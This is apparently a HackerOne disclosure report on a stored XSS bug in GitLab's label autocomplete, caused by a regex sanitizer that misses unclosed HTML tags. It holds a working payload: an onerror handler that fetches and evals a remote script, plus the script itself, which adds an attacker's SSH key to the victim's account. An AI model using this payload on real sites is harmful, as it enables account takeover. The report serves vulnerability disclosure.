Autocomplete stored XSS
HackerOne report #448691 by jouko on 2018-11-22:
Summary: The autocomplete function used in various text editors on GitLab.com is vulnerable to a stored XSS bug. A malicious user can inject JavaScript e.g. in Labels used in Issues or Merge requests. The script would trigger when someone edits e.g. an issue description and an autocomplete dialog opens.
Description:
Various text editors on the site have an autocomplete feature implemented by JQuery-Atwho (the JavaScript files can be seen unobfuscated in Chrome developer tools if source maps are enabled). For example, if you edit an Issue description and press the tilde key ~
, you will get an autocomplete dialog which contains labels defined for that project.
The functionality is initialized in gfm_auto_complete.js
:
setupLabels($input) {
const fetchData = this.fetchData.bind(this);
const LABEL_COMMAND = { LABEL: '/label', UNLABEL: '/unlabel', RELABEL: '/relabel' };
let command = '';
$input.atwho({
at: '~',
alias: 'labels',
// ...
return $.map(merges, m => ({
title: sanitize(m.title),
color: m.color,
search: m.title,
set: m.set,
}));
The function sanitize()
is supposed to sanitize the label title for safe HTML rendering. It's in the same file and looks lilke this:
function sanitize(str) {
return str.replace(/<(?:.|\n)*?>/gm, '');
}
A HTML tag that is left open, i.e. missing the ending >
symbol won't be caught by the regular expression. For example <img src=x onerror=alert('hello')
would pass. A malicious user can create a label with such title to inject JavaScript to be executed when someone uses the text editor.
Steps To Reproduce:
- Create a Label, e.g. https://gitlab.com/joukop/projekti/labels/new
- In the title, enter an unclosed HTML tag, e.g.
label &lt;img src=x onerror="$.get('/joukop/projekti/raw/master/exploit.js').done(function(x){eval(x);});" a
Note that the opening square bracket has to be encoded as &lt
.
- Go to Issue editor, e.g. https://gitlab.com/joukop/projekti/issues/new
- When editing the description, press the tilde key
~
- An autocomplete dialog containing the labels opens. The HTML entered in step 2 is rendered and the JavaScript gets executed.
Note that the resources referenced in the examples above are all private to prevent disclosure of the bug, so for testing you will have to create your own project/label and adjust the URLs etc.
The underlying problem is the unsafe sanitize()
function. It's used in all of the various autocomplete cases. The Label case is just one example of exploiting it. It seems probable that JavaScript can be injected in the autocomplete function in other ways too. I didn't do a throughout search of potential other ways in order to notify you as soon as possible.
Supporting Material/References:
Impact
A malicious user can do any action on the site on the victim's behalf (excluding things that require entering a password etc.). In the above example a payload script is loaded and executed from https://gitlab.com/joukop/projekti/raw/master/exploit.js :
var csrf=$('meta[name=csrf-token]').attr('content');
$.post('/profile/keys',{
'authenticity_token': csrf,
'key[key]': 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMJLfPshbT38FYeCEFbci5n8paIVvtbM7jCEvCqVgn7XoRiuxaus/TBS3o3TG1Bz6JI0SPgy5PJbopxI2Uw+WE+0YqMdQiObgY4Cr1DnHpbTaSBxBZxKIGa1orAugQxmmuK9B/IJKPnBp+Bk/BY9T8KF6mPq1hntLD/zLBuZTSWzJHIoPPNKbPUqIWM1vsCQofhqElG3Q/TBlUphMA6H5FUWA+SPtvRcdNORCaZPXgnywfCeWt276+umg0wGUrvxtys8tlFCC+TVQSGNwij2SUMhB8sn9hjv2xR3RvhifDKdRUeQ7/korm56sEEorsIjuVa2CXGgOW93BnQjlzwx2T foo@bar',
'key[title]': 'foo@bar'
});
It adds the attacker's SSH key in the victim's settings.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!